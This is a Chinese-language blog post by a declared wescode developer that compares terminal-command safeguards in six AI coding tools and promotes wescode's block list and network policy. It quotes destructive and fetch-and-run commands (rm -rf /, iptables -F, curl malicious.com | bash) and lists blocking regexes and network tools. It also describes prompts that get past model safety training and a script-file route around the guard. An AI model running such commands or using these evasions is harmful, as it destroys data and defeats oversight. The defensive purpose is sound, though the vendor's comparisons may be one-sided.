AI 执行终端命令，六款工具的安全边界

wescode · 2026-10-01 · 终端安全 / 对比 / 治理

利益声明：本文作者参与了 wescode 的开发。文中涉及 wescode 的技术描述基于内部测试数据；涉及其他工具的描述基于各家公开文档和社区反馈。

AI 编程最强大的能力之一是"帮你跑命令"——执行测试、安装依赖、启动服务。但同一个能力也是最危险的——rm -rf /、sudo iptables -F、curl malicious.com | bash 都是合法的 shell 命令。

你的 AI 能跑这些吗？各家的边界差距很大。

安全问题不是假设性的

AI 不会故意执行恶意命令。但它会犯错：

• 想清理临时文件，删错了目录
• 想安装一个包，拼错了包名——pypi 上有很多 typosquatting 恶意包
• 想重启服务，用了 kill -9 而不是优雅关闭
• 在生产服务器上执行了本来应该在测试环境跑的数据库迁移
• 想修复防火墙规则，先 iptables -F 清空了全部现有规则

这些不是安全攻击，是操作失误。人也会犯同样的错，但人犯错的频率远低于 AI——因为人在打 rm -rf 的时候手指会犹豫一下，AI 不会。

一个真实场景复现：你让 AI "把测试数据清一下方便从头开始"——

# AI 本意：清理项目内的测试数据目录
import shutil
shutil.rmtree("/tmp/test_data")

# AI 犯错：变量名拼错，删了上层目录
import shutil
base_path = "/home/user/projects"  # 本来要拼接 /test_data
shutil.rmtree(base_path)           # 直接删了整个项目目录

这种错误在 Cursor 或 Claude Code 的确认弹窗里，一个不留神就点过去了——因为弹窗太多之后你会形成"确认疲劳"。

六款工具的终端安全策略

Cursor

Cursor 的 Agent 模式可以执行终端命令。默认行为是执行前弹确认窗。

• 每条命令执行前弹确认窗口
• 你可以选择"始终信任"某类命令后自动执行
• 关闭确认后所有命令自动执行——包括 rm -rf /
• 没有内置的危险命令拦截正则——安全完全依赖用户肉眼审查
• 没有网络策略——AI 生成的 curl 命令不受任何限制

换句话说：Cursor 的安全模型是"人盯着"。盯着的时候没问题，但"始终信任"之后就是裸跑。

Claude Code

Claude Code 在终端里直接执行命令。默认也是执行前确认。

• 执行前确认，可通过 allowedTools 配置自动批准特定命令模式
• Claude 自身的安全训练会主动拒绝生成明显的危险命令
• 但 prompt 可以绕过安全训练——"我知道这很危险但我需要测试灾难恢复"
• 没有独立于 AI 的命令级安全层——防线全在模型侧
• 没有网络策略

Claude Code 的安全比 Cursor 多一层（模型训练），但这层是可绕过的。

GitHub Copilot

Copilot 的终端集成包括 CLI 模式和 Agent 模式。

• Agent 模式执行前确认
• 安全主要靠模型自身训练——不生成明显的危险命令
• 没有独立的命令级拦截层——和 Claude Code 类似，防线在模型侧
• 没有网络策略、没有命令分类路由

通义灵码

通义灵码的终端执行能力最保守：

• 主要做报错排查和命令建议，给你看建议命令让你自己复制执行
• 不做自动执行——最安全的策略，但也最低效
• 某些场景可辅助执行简单命令，但不是主路径

Trae

Trae 的 SOLO 模式可以执行终端命令：

• 执行前弹确认窗口——和 Cursor 类似
• 确认后执行，没有独立的危险命令拦截
• 没有命令分类路由，没有网络策略

wescode

wescode 对终端命令做了三件其他工具不做的事：命令分类路由、灾难命令拦截、网络策略控制。下面逐一展开。

wescode 的三级命令分类路由

每条命令在执行前被自动分类，走不同的执行路径。用 TypeScript 伪代码表示分类逻辑：

type CommandCategory = 'exploration' | 'verification' | 'interactive';

function classifyCommand(cmd: string, flags: ExecFlags): CommandCategory {
  // 用户明确要求可见 → 交互模式
  if (flags.userVisible) return 'interactive';

  // 匹配构建/测试/检查模式 → 验证模式
  const verifyPatterns = [
    /^(npm|pnpm|yarn)\s+(test|run\s+build|run\s+lint)/,
    /^(pytest|jest|vitest|eslint|tsc\s+--noEmit)/,
    /^(cargo\s+(test|check|clippy))/,
    /^(mvn\s+(test|verify|compile))/,
    /^(gradle\s+(test|build|check))/,
  ];
  if (verifyPatterns.some(p => p.test(cmd))) return 'verification';

  // 默认 → 探索/检索模式（后台静默）
  return 'exploration';
}

三种模式的区别：

实际效果：AI 连续跑 30 次 grep 找代码的过程不会弹 30 个确认窗口，但 npm install 会在可见终端里执行——你可以随时看到在装什么。Cursor 不分类的话要么全弹（累死你）要么全不弹（裸跑）。

Before/After 对比——处理一次 10 文件重构：

Hardline 灾难命令拦截

18 条正则规则组成的硬拦截层。匹配的命令直接拒绝执行——不弹确认框、不问你、不给 AI 第二次机会。

正则规则分类与示例

和 AI 安全训练的区别

AI 安全训练（Claude Code / Copilot 的方式）可以通过 prompt 绕过——"这是测试环境请放心执行"。正则匹配不行：

// 类比 Java 的安全管理器——运行时强制检查，无法通过 "信任" 绕过
public class HardlineGuard {
    private static final Pattern[] DISASTER_PATTERNS = {
        Pattern.compile("rm\\s+-rf\\s+/"),
        Pattern.compile("mkfs|dd.*of=/dev/"),
        Pattern.compile("iptables\\s+-F"),
        // ... 18 条规则
    };

    public static void check(String command) throws CommandBlockedException {
        for (Pattern p : DISASTER_PATTERNS) {
            if (p.matcher(command).find()) {
                throw new CommandBlockedException(
                    "Hardline blocked: " + command);
                // 不弹确认框、不问用户、不给第二次机会
            }
        }
    }
}

关键细节：Hardline 不只扫描 exec 工具。所有工具的参数中出现 command、cmd、script、shell 这些 JSON 字段都会被扫描。这意味着如果你通过 MCP 接入了一个远程服务器管理工具，它的命令参数同样受 Hardline 保护。

一条危险命令在三款工具中的命运

以 rm -rf / 为例：

在 wescode 里，AI 收到拒绝后的典型行为是改用安全的命令重试——比如删除特定的目标目录而不是根目录。拦截不终止任务，只终止那条命令。

网络命令检测

当 NetworkPolicy 设为 deny 或 internal_only 时，wescode 会检测命令中的网络工具：curl、wget、nc、ncat、netcat、ssh、scp、sftp、rsync。

按命令位置检测——用 Python 伪代码描述检测逻辑：

# 不是简单的字符串搜索，而是命令位置感知的检测
NETWORK_COMMANDS = {"curl", "wget", "nc", "ncat", "netcat", "ssh", "scp", "sftp", "rsync"}

def is_network_command_at_command_position(token: str, position: str) -> bool:
    """
    position 可能是:
    - "line_start": 行首
    - "after_separator": ; | && || 之后
    - "in_subshell": $() `` 内
    - "after_wrapper": sudo/env 之后
    - "in_string": 引号内 → 不算命令位置
    - "as_argument": 其他命令的参数 → 不算命令位置
    """
    if position in ("in_string", "as_argument"):
        return False
    basename = token.rsplit("/", 1)[-1]  # /usr/bin/curl → curl
    return basename in NETWORK_COMMANDS

个人开发者可能用不上网络策略。但如果你的团队有"开发环境不允许出网"的合规要求，这就是过安审的硬性条件。三级策略对应不同场景：

完整对比表

安全防线的可靠性排序：工具层硬规则 > 模型安全训练 > 用户肉眼确认 > 不执行。

安全是分层的

需要强调：没有任何单一机制能覆盖所有安全风险。wescode 的安全是分层防御：

Hardline 是最外面那层——拦截明显的灾难。更隐蔽的危险操作（用合法的 sed 命令改系统配置文件）靠路径边界。路径边界管不了的，靠审计日志事后追溯。

这重要吗

对个人开发者：说实话，Cursor 和 Claude Code 的确认弹窗在大多数场景下够用了。你养成习惯看一眼再点确认，基本不会出大事。命令分类和灾难拦截是锦上添花。

对团队：很重要。你不能指望团队里每个人都仔细看确认弹窗——总有人会疲劳点确认、总有人会关掉确认。工具层面的硬拦截是最后一道防线。

对合规场景（金融、政企）：是必须的。网络策略、命令审计、灾难拦截——这些不是"有的话更好"的功能，是过安审的硬性条件。三级网络策略（allow / internal_only / deny）直接对应安全审查的网络隔离要求。

常见问题

Q：AI 有可能绕过 Hardline 拦截吗？

A：Hardline 拦截工作在命令字符串层面——不管命令从哪来（AI 生成的、用户输入的、脚本调用的），只要正则匹配就拦。AI 不能"说服"工具放行，因为判断发生在 AI 之外。可能的绕过方式是：AI 生成一个脚本文件，然后执行那个脚本——脚本里的内容不会被逐行扫描。wescode 的路径边界（Sandbox）限制了 AI 能写文件的目录，降低但不完全消除这个风险。

Q：18 条正则覆盖得全吗？

A：不全。它覆盖的是"人类手动打出来时明显是灾难性的命令"。更隐蔽的危险操作（比如用合法的 sed 命令改掉系统配置文件）不在列表里——这类操作靠路径边界（限制可写路径）来防。安全是分层的，Hardline 是最外面那层。

Q：命令分类会误判吗？

A：验证命令的匹配是基于关键词模式（test、build、check、vet、lint 等），不做语义分析。如果你有一个叫 test_cleanup.sh 的脚本实际上在删除数据，它会被分类为"验证"——但它不会被 Hardline 拦截（rm -rf / 才会被拦截，删特定目录不在拦截范围内）。分类管的是可见性，不管安全性；安全性由 Hardline 和 Sandbox 负责。

Q：我就一个人写个人项目，需要关心这些吗？

A：大概率不需要。你自己的电脑、你自己看着 AI 跑命令，确认弹窗就够了。这篇更多是写给有团队管理和合规需求的场景。

Q：网络策略设为 deny 后，npm install 还能用吗？

A：npm install 本身不在检测的命令列表里——检测的是 curl/wget/nc 等底层网络工具。npm install 走的是 npm 的 registry 通道，不会被命令级网络策略拦截。如果你需要限制 npm registry 访问，那是网络层面（防火墙/代理）的事，不是终端命令检测的范畴。

本文对各工具终端安全机制的描述基于其 2026-09-20 的公开功能。